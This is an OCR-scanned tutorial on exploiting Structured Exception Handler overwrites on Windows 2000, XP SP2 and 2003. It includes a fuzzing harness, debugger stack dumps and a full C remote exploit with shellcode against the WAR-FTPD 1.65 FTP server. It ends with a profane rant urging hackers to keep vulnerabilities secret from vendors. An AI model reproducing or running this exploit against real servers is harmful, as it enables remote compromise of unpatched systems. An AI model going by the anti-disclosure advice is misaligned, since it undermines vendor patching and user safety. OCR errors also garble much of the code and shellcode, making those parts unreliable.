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Introduction

This paper goes through the SEH Overwrites on two different Windows platforms using the aid of
diagrams of the stack. Of course information related to this will also be documented. A basic
knowledge of C, stack operation and exploiting stack based buffer overflows is assumed and

needed to understand the contents of this paper.



What Is The SEH Handler?

Exception handling is something built into many programming languages that is designed to
handle the occurrence of a condition outside the normal flow of execution (what is expected) of
the program; This condition is referred to as an exception.

Microsoft made a function which is used to handle exceptions, called the Structured Exception
Handler. When doing SEH overwrites the Pointer to the SEH Handler is target to be overwritten
SO0 we can gain control over the program.

Pointer to Next SEH?

The pointer to the next SEH is a pointer to the next Structured Exception Handler on the stack.

Diagram of Stack:
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Structured Exception Handler struct Code

typedef struct EXCEPTION_REGISTRATION

_EXCEPTION_REGISTRATION *next;
PEXCEPTION_HANDLER *handler;

} EXCEPTION_REGISTRATION, *PEXCEPTION_REGISTRATION;




Microsoft Stack Abuse Protection
Explained

/GS Flag [EIP Overwrite and Exploitation Protection]

The /GS Flag switch in the Microsoft Visual C++ 2003/2005 is a switch that is turned on by
default. If the switch is turned on, a protection against overwriting the EIP will be added to the
program. A “stack cookie” is placed before the EBP and EIP on the stack, if the stack cookie is
overwritten and the value does not match a value which is stored elsewhere in memory (so the
comparison can be made) the program will crash.

Further Reading:
http://www.symantec.com/avcenter/reference/GS _Protections in_Vista.pdf

Pointer to SEH Handler Value Address Range Constraint

To try and prevent exploitation via overwriting the SEH Handler Microsoft altered there protection
against SEH Overwrites. The following constraints now have to be considered:

1. The address of the SEH Handler cannot be on the stack.
2. The address of the SEH Handler cannot be in modules that Microsoft has specified.

Software DEP SEH Abuse Protection Explained / SAFESEH

Software Data Execution Prevention is an optional protection that Microsoft added into Windows
XP SP2. The names implies that the protection would possibly offer some sort of software
protection that would be similar to hardware DEP. However this is not the case, all this protection
does is try to protect against SEH Overwrites (This protection can be bypassed.)

This protection checks the Pointer to the SEH Handler address and checks it against a list of
registered exception handlers, if isn’t in the list, then the address is not called. Software DEP
does not make any part of the Stack non-executable.

A way of bypassing /SAFESEH is to use the addresses in Windows system processes where the
binary isn’t compiled with /SAFESEH (or a working version of the protection.)

This paper does not deal with defeating Software Data Execution Prevention or /SAFESEH
protected executables.



/Security Cookie — Generation Example
[Taken from “ Defeating Windows 2k3 Stack Protection”]

#
include <stdio.h>
#include <windows.h>

int main()
{
FILETIME flt;
unsigned int Cookie=0;
unsigned int temp=0;
unsigned int *ptr=0;
LARGE_INTEGER perfcount;

GetSystemTimeAsFileTime(&ft);

Cookie = ft.dwHighDateTime * ft.dwLowDateTime;
Cookie = Cookie  GetCurrentProcessld();

Cookie = Cookie * GetCurrentThreadld();

Cookie = Cookie » GetTickCount();
QueryPerformanceCounter(&perfcount);

ptr = (unsigned int)&perfcount;

tmp = *(ptr+1) ~ * ptr;

Cookie = Cookie ™ tmp;

printf("Cookie: %.8X\n", Cookie);

return O;




Searching for Appropriate Addresses

When doing SEH Overwrites as well as other stack based buffer overflow attacks, addresses of
instruction sets in system and application memory are often utilized.

When performing EIP overwrites, JMP ESP or CALL ESP is usually searched for, although other
instructions are also used as well.

When performing SEH Overwrites on Windows 2000 systems, CALL EBX is usually searched
for, on newer systems POP POP RET.

Memory To Be Searched & Limitations

Many DLL's and programs running in memory can be searched for useful instructions that may be
useful during exploitation. Remember though that certain DLL’s won't be on every system and
that also they may not be loaded into memory. Addresses of instructions in DLL’s may also vary
from OS to OS and from Service Pack to Service Pack. You may choose to search the memory of
the program you are exploiting, but remember that because the environment the program is
running in, addresses may differ (from different environments.)

Searching Memory, How, What To Use?

To search memory of windows (loaded DLL's for example) we can use a program called findjmp2
(by class101.)

Download: http://blackhat-forums.com/Downloads/misc/Findjmp2.rar

Findjmp2.exe loadedDLLToSearch.DLL register
o EWVWINDOWSY system32hcmnd.exe

-

We have found plenty of usable addresses, not just usual POP POP RET’s but CALL EBX that
can be used for exploiting older systems. Above | have searched kernel32.dll for instructions
using the EBX register.




Theory of SEH Overwrites and
Exploitation

Although exploitation via overwriting the Structured Exception Handler is different on different
platforms, the basic theory is the same. The only difference is the limitations placed on later
platforms by Microsoft.

Basically we start off with the stack the way it is, which should resemble the diagram earlier in this
paper, take a look at it now to refresh your memory. Incase your wondering that stack is just an
example, and is not what the stack of our vulnerable program will look like (but you get the idea.)

The example below will be based on Windows 2000.

1-The Target Program Is Fuzzed, Stack Contents Overwritten
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2 — Exploitation — [Junk] + [JMP 6 Bytes] + [CALL EBX] + [NOPSLED] + [Shellcode]
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The original stack is places by the side of the one in example so comparison can be made.

What Happens?

Well the Pointer to SEH Handler (Not Pointer to Next SEH Handler) will be called when there is
an exception, and due to our overflow onto over areas of memory on the stack this is the case.

If you have overwritten the EIP with an invalid address an exception will of course be raised when
the program returns.

Pointer to SEH Hander: CALL EBX — EBX Points to our Pointer to our Next SEH.

Pointer to Next SEH: JMP 6 bytes forward over our overwritten pointer to SEH into the NOP
Sled, of course moving along that until hitting the shellcode.



Theory of Windows XP SP2 & 2003 SP1
Exploitation

Below is a Diagram of how the Stack will look after exploitation on this platform.
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Like in the Theory section of this paper, the original stack and the exploited stack diagrams are
placed side by side above. You should notice the only difference between exploiting Windows
2000 SP4 and Windows XP SP2 is that the SEH Handler has to be overwritten with a different
address (we can't call EBX as on XP SP1 and above the register is xored with itself and points to
0x00000000.)

POP POP RET?

The first POP will increase the ESP + 4, the second will do the same again. And RET will return
to our Pointer to Next SEH which will IMP + 6 and land us into our NOPSLED.




Windows XP SP2 & 2003 SP1 Exploitation

Fuzzing Example

We start off the exploitation with some fuzzing to determine how many bytes before overwriting
the Pointer to Next SEH and Pointer to SEH. We will try and overwrite each address with
42424242 “BBBB” [Pointer to Next SEH] and 43434343 “CCCC” [Pointer to SEH].

#include <string.h>
#include <stdio.h>
/[Example Exploit of Fuzzing an application that takes command line argument(s).

int main()

{
char buf[330];

char exploit[346] = "C:\\vulnapp.exe ";

char NextSEHHandler[] = "BBBB";

char SEH_Handler[] = "CCCC";

printf("vuln.exe - SEH Overwrite: Fuzz The Stack\n");

memset(buf, 0x41,330);

memcpy(&buf[322], NextSEHHandler, sizeof(NextSEHHandler)-1);
memcpy(&buf[326], SEH_Handler, sizeof(SEH_Handler)-1);
strcat(exploit, buf);

WinExec(exploit, 0);

return O;
41414141 -

HE1Z2FFPC] 41414141
BB1ZFFE8| 41414141
HA12FFE4] 41414141
BE12FF28| 41414141
HR1Z2FFEC] 41414141
BB1ZFFo8| 41414141
BE1ZFF34| 41414141
BB12FF28| 41414141
HA12FFSC| 41414141
B81ZFFFRB| 41414141
AA12FFR4| 41414141
BB1ZFFRE| 41414141

BE12FFAC| 41414141
BE1Z2FFBEE| 42424241|Pointer *o next SEH record
BE12FFBE4| 43434342| SE handler

BE1ZFFEE| B8488843| .wuln. 8684686643

BH12FFBC| FFFFFFFF
BE12FFCH| BAL2FFFa@
BE12FFC4| FCBlE04F|RETURM to kernel32.7CE1604F
BE1ZFFCE| FCo18738|ntdll.7CO1B7V3E

HE12FFCC| FFFFFFFF
B812FFO8| FFFOEEE8
HE12FFO4| BES4BE28
BE12FFO8| BAl2FFCE
BE1ZFFOC| S1COAZ3H
B81ZFFEB| FFFFFFFF
BR12FFE4| 7YCB399F3| RETURM to kernel32.7CE399F3
BE12FFES| FCEBLlE0SE|kernel32.7CE16058

BE12FFEC| PRBEBEREEEA
BE1ZFFFE| BREEE288
BR12FFF4| BEBREBEA J
B812FFFE] 88481212 vuln. {ModuleEntruPointX

BE12FFFC| BPEBEEBRA -




Exploitation of a Win32 Application — WarFTP 1.65

For the actual exploitation of an application, | will be using War FTP as an example.

This is an excellent example as it's a realistic target (an FTP daemon), when attacking different
applications you may have different limitations. For example in this case, there are characters
and strings that are part of the FTP protocol that cannot be used.

For example: 0x20, Ox0A, 0x0D ([Space], \n, \r).

WAR-FTPD 1.65 - http://www.warftp.org/

¥ 1dle - WAR-FTPD 1.65 =101

Properties  Miew Help -

[Z lzlxle] olel| @%|e| o = md

— Suztem Attributes

B S s lsee || T Godfinewhenieadl [ e
[~ Deny all logins [sxcept for administrator]
¥ Mo anonymous loging
b & Users IED Anon. I-I L
I[P number and port
{ 10,004 |21
— Meszages from the uzers
1| [
ki 5oy Edt Message | |
[S 2008 01 07 13:53] WinSock 2.0 =
[E 2008 01 07 13:53] Failed to intiglize the ODEC log module
[5 2008 01 07 13:53] Initiglizing ODEC log module. . al
[S 2008 01 0F 13:53) WAR-FTPD 1.65 Copyright [c] 1956, 1957 by jgaa. WIN3Z [NT] =
1 » |
EIE |DNLINE |'I of 32767 sockets |EI of B0 [16381] Uszerz |D file xfers

Let's just pretend we have already done the fuzzing for this, as it would be quite simple and let
me just show you the exploit for it along with the stack.

1. We start WAR-FTPD and we start the server.

2. We open Ollydbg and attach to the programs process.



Select process ko attach } _ O] x|

Process |Hame Window | Fath “
4| swchost | Ea~WIHDOWS~5u st em32~suchost . exe —
CE| atiptauy | DIEmWin E:~Program Files~ATI Technologies~ATI __J

ZE| winampa E:~Program Files~linamp~winampa.exe

S| war—ftpd| Idle — WAR-FTFD 1.&85 E:z~Docurments and Settings~Chris Morgan

1| CAF3RSE E:z ~WIHDOWS 5w st em32~CAP3RSK . EXE

sqlwrite E:~Frogram Files~Microsoft SEL Serwer-

suchost Ez ~WIHDOWS~5u st em32~suzhost . exne

iTunesHe| iTunes Helper Ez~Program Files~iTunes~iTunesHelper.e
| smss ~ESustemfoot ~SwstemIZusnss. ene
| xsres | ~rrsEr W IMDOWS sy st em32 s rss. eHe
4 win logon | SPEsE S WINDOWS~sustem32~win logon.exe

1| services| E:~WINDOWS ~sustem32~sery ices. ene
| lsass i “Eystem3Zt leass. exe

ClL E: ~WIHDOWS S 1

[ ATI wideo bios poller Ez~WINDOWS Su st em3Z~HE i Zewit . ele

| suchost Ez~WIHDOWS sy st em32~suchost . exne
| MediaSer E:~Program Files~TUersitu~Media Server
| suchost Ez~WIHDOWS~sustem32~suchost . exe

Ez=WIHDONS~System32~swchost . exe
|Ez~Program Files Common FilesUlead Su. ™

Attach l Cancel I

(Of course the process will only be highlighted in red after you have attached.)

3. We run the exploit we have coded.

fundos.exe

Connection Established ...




4. In Ollydbg, Debug -> Run.

HHASF D42 IEEE L -
BERSFO4C| 43434343
HEHASFOSE| 43434343
BEASFOS4 | 43434343
BEASFOSS| 43434343
BEASFOSC| 432434343
BEASFOEE| 43434343
BEASFOEE [ 43434343
BEASFOES| 43434343
BEASFOEC| 43434343
BEHASFOVE| 43434343
BEASFOVE | 43434343
BEASFOVE| 43434343
BEASFOVC| 42434343
BEASFOSE| 43434343
BEASFOS4 | 43434343
BEASFOSS( 43434343
BEASFOSC| 43434343
HEHASFO9E( 43434343
HEASFOS4| 9E9E85EE| Pointer to nedt SEH record
BEASFO9S( 74C95958| SE handler

BEASFO2C| 98999998
BEASFORE( 98989898
BEASFOR4 | CAS198998
BEASFORS( C9210B31
BEASFOAC( Z2FEEDZ231
HHASFOEE| 2E518859
GEASFOE4 | Y4EEE328
BEASFOES| V3552872
BEASFOBC| &5ZEF2E5

BEASFOCE| ZASOEFTFE J
BEASFOCY( ZES73231
BEASFOCE| ZESHZESA
BEASFOCC| EFEC2EZ1 -

GEOCEME P o o sl o)

[JUNK]

[Pointer to the Next SEH record] - Overwritten
[SEH Handler] - Overwritten

[NOP SLED]

[SHELLCODE]

[NOPS]

[\rin]

Note: You may find with some vulnerable (Stack Buffer Overflow) applications that there isn’'t
enough stack space for your NOPSLED and Shellcode, meaning you will have to use 1* and 2
stage shellcode.



warftpduser-exploit.c

#include <stdio.h>
#include <winsock2.h>

[lwarftpduser-exploit.c
/IWAR-FTPD 1.65 Remote Stack Based Buffer Overflow (USER)

int main()

{

WSADATA wsaData;

SOCKET s1;

SOCKADDR_IN ServerAddr;

int port = 21;

char recvBuffer[256];

char sendBuffer[1024];

char user[] = "USER ";

char rn[] = "\r\n";

char pointer_to_next_seh[] = "\xeb\x06\x90\x90"; //IMP 6

char seh_handler[] = "\x50\x69\xC9\x74"; //Windows XP SP2 oleacc.dll POP POP RET

char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xeb\x37\x59\x88\x51\x0a\xbb"
"\X77\x1d\x80\x7c" //***LoadLibraryA(libraryname) IN WinXP sp2***
"\x51\xffAxd3\xeb\x39\x59\x31\xd2\x88\x51\x0b\x51\x50\xbb"
"\x28\xac\x80\x7c" //***GetProcAddress(hmodule,functionname) IN sp2***
"\xfixd3\xeb\x39\x59\x31\xd2\x88\x51\x06\x31\xd2\x52\x51"
"\x51\x52\xff\xd0\x31\xd2\x50\xb8\xa2\xca\x81\x 7 c\xff\xd0\xe8\xc4\xff"
"\FAXFAAX75\x73\x65\x7 2\x33\x32\x2e\x64\x6c\x6c\x4e\xe8\xc 2\xff\xff"
"\xff\x4d\x65\x73\x73\x61\x67\x65\x42\x6f\x78\x4 1\x4e\xe8\xc2\xff\xff"
"\xf\x4A\x6d\x65\x67\x61\x37\x4e";

memcpy(sendBuffer, user, sizeof(user)-1);

memset(&sendBuffer[5], 0x41, 485);

memset(&sendBuffer[490], 0x42, 4); //Overwrite EIP

memset(&sendBuffer[494], 0x43, 80); //Stack space between EIP and Pointer to Next SEH
memcpy(&sendBuffer[574], pointer_to_next_seh, sizeof(pointer_to_next_seh)-1);
memcpy(&sendBuffer[578], seh_handler, sizeof(seh_handler)-1);
memset(&sendBuffer[582], 0x90, 10);

memcpy(&sendBuffer[592], shellcode, sizeof(shellcode)-1);

memset(&sendBuffer[702], 0x90, 10);

memcpy(&sendBuffer[712], rn, sizeof(rn)-1);




WSAStartup(MAKEWORD(2,2), &wsaData);
sl = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

ServerAddr.sin_family = AF_INET,;
ServerAddr.sin_port = htons(port);
ServerAddr.sin_addr.s_addr = inet_addr("127.0.0.1");

if (connect(s1, (SOCKADDR *) &ServerAddr, sizeof(ServerAddr)) !=-1)

printf("Connection Established ...\n");
recv(sl, recvBuffer, sizeof(recvBuffer)-1, 0);

if( strstr(recvBuffer, "WAR-FTPD 1.65") != NULL)

{
printf("WAR-FTPD 1.65 logon request received...\n");

sleep(1000);
send(s1, sendBuffer, 714, 0);
printf("Payload sent.\n\n");

}

closesocket(s1);
WSACleanup();

return O;




PLEASE READ

You may think that publishing exploits is a good idea, you may think “it's not like it can much
harm.”

Well the fact is it does, and it isn't just to other people who are exploited by script kiddies.

If you keep publishing the bugs you find, they will soon disappear or rather annoying protection
schemes will be put in place to try and stop exploitation. Hackers (or what ever you want to call
yourself) shouldn’t have to help programmers with their poor programming. If you find
vulnerability in a piece of software, keep it private.

Reasons Why Not To Publish Exploits (Or Vulnerability Information):

* Gives script kiddies more tools in their already large arsenal.

* Software Vendor is notified or finds out about vulnerability, vulnerability is patched.

* Programmers become more aware of bad coding habits/techniques and security conscious,
leaving less room for mistakes, and of course exploitation.

* Programmers and Developers should learn to take responsibility (responsibility to the
responsible) for their own security if they wish to have it.

* Your feeding the Security Industry and giving them exactly what they want.

* You will make more people aware of the bug, the security industry will be more than happy to
fear monger. IT Security “experts” love to take credibility for providing security solutions to
security vulnerabilities.

Articles have appeared on sites such as SecurityFocus suggesting altering the C/C++ languages
(mainly replacing commonly used functions) to make it more secure, and eliminate memory
management and related vulnerabilities.

FUCK FULL DISCLOSURE, FUCK THE SECURITY INDUSTRY.
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